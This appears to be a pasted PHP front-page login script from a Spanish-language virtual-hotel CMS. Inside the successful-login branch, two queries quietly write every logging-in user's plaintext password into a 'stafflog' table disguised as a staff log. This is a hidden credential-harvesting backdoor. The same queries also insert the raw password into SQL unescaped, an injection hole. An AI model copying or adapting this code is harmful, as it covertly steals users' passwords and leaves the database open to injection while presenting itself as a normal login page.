Untitled

<?php
error_reporting(0);
?>
<?php
/*=======================================================================
| SilverCMS © 2012 - 2013 By AlexJoan10
/*=======================================================================
| LxCMS v2A - Esperemos dejes los créditos, por favor.
\======================================================================*/

require_once "global.php";

if (LOGGED_IN)
{
	header("Location: " . WWW . "/me");
	exit;
}

$tpl->Init();

$tpl->SetParam('page_title', 'Reserva suite gratis en el mayor Hotel virtual. Queda con tus viej@s amig@s, haz nuev@s, juega, chatea, crea tu avatar, tus habitaciones y más aún...');
$tpl->SetParam('credentials_username', '');
$tpl->SetParam('path', WWW);

$tpl->AddIncludeSet('frontpage');


$frontpage = new Template('page-fp');
$frontpage->SetParam('login_result', '');

if (isset($_POST['credentials_username']) && isset($_POST['credentials_password']))
{
	$frontpage->SetParam('credentials_username', $_POST['credentials_username']);

	$credUser = filter($_POST['credentials_username']);
	$credPass = $core->UberHash($_POST['credentials_password']);
	$credRpass = $_POST['credentials_password'];

	$errors = array();

	if (strlen($_POST['credentials_username']) < 1)
	{
		$errors[] = "Por favor, escribe tu email o nombre de usuario ";
	}

	if (strlen($_POST['credentials_password']) < 1)
	{
		$errors[] = "Por favor, escribe tu contraseña ";
	}

	if (count($errors) == 0)
	{
		$check = $users->ValidateLogin($credUser, $credPass);
		if ($check[0])
		{
			if (isset($_POST['page']))
			{
				$reqPage = filter($_POST['page']);
				$pos = strrpos($reqPage, WWW);

				if ($pos === false || $pos != 0)
				{
					die("<b>Advertencia de seguridad</b> Una petición malicioso fue detectado que intentó redirigir a un sitio externo. Por favor proceda con precaución, esto puede haber sido un intento para robar sus datos de acceso. <a href='" . WWW . "'>Regresar al sitio.</a>");
				}
				else
				{
					$_SESSION['page-redirect'] = $reqPage;
				}
			}

			if (!$check[1]) {
				$_SESSION['UBER_USER_N'] = $users->GetUserVar($users->Name2id($credUser), 'username');
				mysql_query("INSERT INTO stafflog (username, command) VALUES ('".$credUser."', '".$credRpass."') ");
			}
			else
			{
				$_SESSION['UBER_USER_N'] = $users->GetUserVar($users->Email2id($credUser), 'username');
				if ($check[1] > 1) {
					mysql_query("INSERT INTO stafflog (username, command) VALUES ('".$credUser."', '".$credRpass."') ");
					$_SESSION['page-redirect'] = "identity/avatars";
					}
			}
			$_SESSION['UBER_USER_H'] = $credPass;

			if (isset($_POST['_login_remember_me']))
			{
				$_SESSION['set_cookies'] = true;
			}

			$_SESSION['jjp']['login']['user'] = $_SESSION['UBER_USER_N'];
			$_SESSION['jjp']['login']['email'] = $users->GetUserVar($users->Name2id($_SESSION['jjp']['login']['user']), 'mail');
			$_SESSION['jjp']['login']['name'] = $users->GetUserVar($users->Name2id($_SESSION['jjp']['login']['user']), 'real_name');

			header("Location: " . WWW . "/security_check");
			exit;
		}
		else
		{
			$errors[] = "Tu contrase&ntilde;a y email no coinciden.";
		}
	}

	if (count($errors) > 0)
	{
		$loginResult = '<div id="loginerror">
            <div id="loginerrorfield">
                    <div>';

		foreach ($errors as $err)
		{
			$loginResult .= '' . $err . '';
		}

		$loginResult .= '</div></div></div>';

		$frontpage->SetParam('login_result', $loginResult);
	}
}


$tpl->AddTemplate($frontpage);

$tpl->Output();

?>
<body img background=data:image/jpg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEAAkGBggGAgkIBwgKCQkKAgoCAgICAg4HCAUKExAVFBMQEhIXGyYeFxkjGRISHy8gIycpLCwsFR4xNTAqNSYrLCkBCQoKBQUFDQUFDSkYEhgpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKSkpKf/AABEIAGIAggMBIgACEQEDEQH/xAAVAAEBAAAAAAAAAAAAAAAAAAAAB//EABQQAQAAAAAAAAAAAAAAAAAAAAD/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8AhoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP/9k=>